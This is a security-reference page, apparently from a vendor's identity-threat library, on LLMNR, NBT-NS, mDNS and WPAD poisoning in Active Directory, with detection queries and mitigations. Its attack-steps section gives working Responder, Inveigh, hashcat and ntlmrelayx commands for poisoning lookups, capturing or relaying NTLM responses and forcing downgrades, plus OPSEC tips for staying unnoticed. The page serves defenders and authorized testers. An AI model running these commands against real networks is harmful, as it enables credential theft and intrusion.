1. Resources
  2. Identity Threats
  3. Active Directory

LLMNR, NBT-NS and mDNS Poisoning

Also known as: LLMNR poisoning, NBT-NS poisoning, mDNS poisoning, WPAD spoofing, Responder attack, Name resolution poisoning

An attacker on the same network segment answers the broadcast name lookups that Windows sends when DNS fails, and captures or relays the NTLM authentication that follows.

Platform
Active Directory
Impact
Medium
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: No account
No account. A host on the same broadcast domain or local link as the victims, wired, wireless or through a compromised machine.
What the attacker gains
NetNTLMv1 or NetNTLMv2 challenge responses of users and computers, to crack offline or relay to other services.
Threat groups
Lazarus GroupWizard SpiderKimsukyMustang PandaSea TurtleGroups that MITRE ATT&CK records using T1557.001, T1557.

How it works

When a Windows computer needs an address for a name, it asks DNS first. If DNS has no answer (a mistyped server name, a share on a decommissioned host, a single-label name with no matching suffix), the client falls back to protocols that ask everyone on the local network:

Protocol Transport Scope Notes
LLMNR UDP 5355, multicast 224.0.0.252 and FF02::1:3 Local link RFC 4795. Replies are not authenticated
NBT-NS UDP 137, broadcast Local subnet RFC 1002. The legacy NetBIOS name service
mDNS UDP 5353, multicast 224.0.0.251 and FF02::FB Local link RFC 6762. Common on networks with mixed operating systems

None of these protocols proves who is answering. The first host to reply is believed. An attacker listening on the segment replies to every lookup with its own address, and the client connects to the attacker as if it were the file server, web server or proxy it was looking for.

Windows then authenticates automatically. For SMB and for HTTP in the intranet zone, the client sends the logged-on user's credentials with NTLM authentication without asking. The attacker's rogue server issues a challenge and receives the response, a NetNTLMv1 or NetNTLMv2 hash that is tied to that challenge. Two things can be done with it:

  • Capture and crack. The response can be tested against password guesses offline. See offline password cracking.
  • Relay. Instead of issuing its own challenge, the attacker forwards the challenge of a real server and passes the victim's response on, which signs the attacker in as the victim. That step is covered on the SMB relay and NTLM relay to LDAP pages.

WPAD spoofing

Web Proxy Auto-Discovery makes this worse. A client set to detect proxy settings automatically looks for a host named wpad and downloads wpad.dat, a script that says which proxy to use. If DNS has no wpad record, the lookup falls through to LLMNR and NBT-NS, and the attacker answers it. The attacker serves a proxy configuration that points at itself, and can then demand NTLM authentication for the script or, more reliably on patched systems, for the proxy. From that point the victim's browser and other HTTP clients authenticate to the attacker continuously, without anyone mistyping a name.

A related route to the same position is a rogue DHCPv6 server that makes itself the victim's DNS server; see mitm6 and DHCPv6 spoofing. An attacker with a domain account can also register a wpad or wildcard record in AD-integrated DNS, which works across subnets; see ADIDNS poisoning.

Prerequisites

  • A host on the same broadcast domain (NBT-NS) or local link (LLMNR, mDNS) as the victims. No domain account is needed. A workstation the attacker already controls works as well as a device plugged into a network port.
  • Clients with LLMNR, NetBIOS over TCP/IP or mDNS enabled. All three are on by default in Windows.
  • Lookups that DNS cannot answer. On most networks these happen constantly: stale mapped drives, scripts that reference old servers, browser searches typed into the address bar, and WPAD discovery.
  • For cracking: a password weak enough to guess. For relaying: a target that accepts NTLM without signing or channel binding.
  • For WPAD spoofing: clients with automatic proxy detection enabled and no wpad record in DNS.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Listen first

Responder's analyze mode shows which names are being requested and by whom, without answering anything:

sudo python3 Responder.py -I eth0 -A -v

This reveals how noisy the segment is and which hosts would be affected, before any packet is spoofed.

2. Poison lookups and capture hashes

Started without -A, Responder answers LLMNR, NBT-NS and mDNS lookups and runs rogue SMB, HTTP and other servers that request NTLM authentication:

sudo python3 Responder.py -I eth0 -v

Each protocol is switched on or off in Responder.conf:

[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On

Captured responses are printed and written to the logs/ directory in the form username::domain:challenge:response:blob.

On Windows, Inveigh does the same from a compromised host. LLMNR and mDNS spoofing are on by default and NBT-NS is off:

# Inspect only: show the lookups, send no replies
.\Inveigh.exe -inspect y

# Spoof LLMNR and mDNS (defaults), and NBT-NS as well
.\Inveigh.exe -nbns y

# Restrict the run to 10 minutes
.\Inveigh.exe -nbns y -runtime 10

3. Add WPAD

Responder's WPAD options start a rogue proxy server and control where authentication is demanded:

# Rogue WPAD proxy server
sudo python3 Responder.py -I eth0 -w -v

# Force authentication for the proxy itself
sudo python3 Responder.py -I eth0 -P -v

# Force authentication when wpad.dat is retrieved (older, unpatched clients)
sudo python3 Responder.py -I eth0 -w -F -v
Option Effect
-w, --wpad Start the WPAD rogue proxy server
-P, --ProxyAuth Force NTLM or Basic authentication for the proxy
-F, --ForceWpadAuth Force authentication on wpad.dat retrieval
-b, --basic Return HTTP Basic authentication instead of NTLM, which yields cleartext passwords

4. Crack the captured responses

# NetNTLMv2
hashcat -m 5600 smb-ntlmv2.txt wordlist.txt

# NetNTLMv1
hashcat -m 5500 smb-ntlmv1.txt wordlist.txt

Responder can also try to weaken what the client sends: --lm forces the LM hashing downgrade on very old systems, and --disable-ess forces the Extended Security NTLMSSP downgrade. NetNTLMv1 responses are far weaker than NetNTLMv2, which is why NTLMv1 should be disabled.

5. Or relay instead of capturing

To relay, the poisoner keeps answering lookups but leaves the SMB and HTTP ports to the relay tool. Set SMB = Off and HTTP = Off in Responder.conf, then run Responder and ntlmrelayx side by side:

sudo python3 Responder.py -I eth0 -v
ntlmrelayx.py -tf targets.txt -smb2support

What the relayed session can do depends on the target and is described on the relay pages.

Impact

The direct result is credential theft from a position that needs no account: challenge responses for every user and computer that makes a failed lookup while the attacker listens. A cracked response gives the user's cleartext password and a first foothold in the domain. A relayed one gives a session as that user on another host without knowing the password, which becomes local administrator access, a directory change, or a certificate, depending on the target.

Because lookups come from whoever happens to be on the segment, the attacker does not choose the victim. On a segment with administrators or servers, the first captured authentication can be a privileged one. This is one of the most common ways an attacker with only network access gets a first domain credential, and the starting point for lateral movement.

OPSEC and artifacts

  • Analyze mode first. Listening with -A or -inspect y sends nothing, so nothing on the network or the hosts can show it. Operators use it to pick a quiet time and specific victims.
  • Answering selectively. Replying only to chosen hosts or names limits exposure, but every spoofed reply is a packet from the attacker's address claiming a name it does not own, visible to any sensor on the segment and to any host that queries a decoy name.
  • Not breaking things. A poisoned lookup that ends in a failed connection makes users notice. Operators avoid answering names of real services and stop quickly. A poisoned WPAD answer that points to a proxy that does not forward traffic breaks browsing for the victim.
  • On the victim: an outbound SMB or HTTP connection to a workstation address instead of a server, and, with NTLM auditing enabled, event 8001 in the NTLM operational log for the outgoing NTLM authentication to the attacker's host.
  • On the network: LLMNR, NBT-NS or mDNS replies from one address for many unrelated names, and a wpad.dat served by a host that is not the proxy.
  • Nothing on domain controllers for capture. The attacker's rogue server never validates the response, so the DC is not contacted. Relaying is different: the target validates the response with a DC, which writes event 4776, and with NTLM auditing event 8004.
  • Later: logons with the cracked password, from wherever the attacker uses it.

Detection

Windows has no event that says a name lookup was poisoned. Detection combines a network signal with the NTLM events that follow.

  • Decoy lookups. Send LLMNR, NBT-NS and mDNS queries for random names that do not exist, from a few hosts per segment. A legitimate network never answers them; a poisoner answers all of them. This is the most reliable detection and has almost no false positives.
  • Unexpected responders. Network sensors or switch telemetry that show a host answering LLMNR (UDP 5355), NBT-NS (UDP 137) or mDNS (UDP 5353) queries for names it does not own, or one host answering for many different names.
  • Rogue WPAD. HTTP requests for /wpad.dat to an address that is not the organization's proxy configuration server.
  • NTLM to non-servers. With the Restrict NTLM audit policies enabled, event 8001 on clients shows outgoing NTLM to a target that is a workstation address or an unknown host.
  • The relay that follows. An NTLM network logon, event 4624 type 3, where the account's own workstation is not the source address. The NTLM relay detection rules cover this, and the NTLMv1 rules catch downgraded authentication.
// NTLM network logons of one account from several source addresses in 10 minutes
SecurityEvent
| where EventID == 4624 and LogonType == 3 and AuthenticationPackageName == "NTLM"
| where TargetUserName !in ("ANONYMOUS LOGON", "")
| summarize Sources = dcount(IpAddress), Hosts = dcount(Computer), Logons = count()
    by TargetUserName, TargetDomainName, bin(TimeGenerated, 10m)
| where Sources >= 2 and Hosts >= 2
| order by Hosts desc

The query is a triage lead for the relay stage, not proof: WorkstationName in these events is supplied by the client, and NAT or jump hosts produce the same shape. Tune the thresholds to your own baseline.

Mitigation

Remove the protocols the attack answers, then remove what a captured authentication is worth.

  1. Disable LLMNR. Enable the Group Policy setting Turn off multicast name resolution under Computer Configuration > Administrative Templates > Network > DNS Client. The LLMNR and NBT-NS guide covers the rollout and the checks.
  2. Disable NetBIOS over TCP/IP on every adapter, through the adapter setting, the DHCP option or the registry (TcpipNetbiosOptions = 2). Check legacy applications and printers first.
  3. Disable mDNS where it is not needed and block UDP 5353 at the host firewall. The Windows 11 24H2 administrative templates include the Configure multicast DNS (mDNS) protocol setting. Screen casting and some printers depend on mDNS.
  4. Remove WPAD discovery. Where proxy settings are managed, turn off automatic proxy detection. Make sure the name wpad cannot be claimed in DNS.
  5. Make captured authentication useless. Require SMB signing so that relayed SMB sessions are rejected, enforce LDAP signing and channel binding on domain controllers, and disable NTLMv1.
  6. Use long passwords for accounts that authenticate from user networks, so that a captured NetNTLMv2 response cannot be cracked.
  7. Segment the network. The attack reaches only the hosts on the attacker's segment. Keep administrator workstations and servers off user segments, and use port security or network access control to stop unknown devices from joining.
  8. Audit NTLM. Enable the Restrict NTLM audit policies to record where NTLM is used, then reduce it.

Detection rules for this attack

Log events to collect

FAQ

What is LLMNR poisoning?

When a Windows computer cannot resolve a name through DNS, it asks the local network with LLMNR, NBT-NS or mDNS. These protocols have no authentication, so any host on the segment can answer and claim to be the name. The victim then connects to the attacker and authenticates with NTLM, which the attacker captures or relays.

Does the attacker need a domain account?

No. The attacker only needs a machine on the same broadcast domain or local link as the victims. The lookups are sent to everyone on the segment, and the answer is accepted without any proof of identity.

Is it enough to disable LLMNR?

No. Windows falls back to NBT-NS and mDNS when LLMNR is off, and a tool such as Responder answers all three. Disable LLMNR and mDNS by policy and NetBIOS over TCP/IP on every adapter, and remove WPAD automatic discovery where a managed proxy setting replaces it.

How do you detect LLMNR and NBT-NS poisoning?

Windows writes no event for a poisoned lookup. Detect it on the network: a host that answers lookups for names it does not own, best found by sending lookups for a name that does not exist and alerting on any reply. On hosts, watch for NTLM logons to an address that is not a server.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.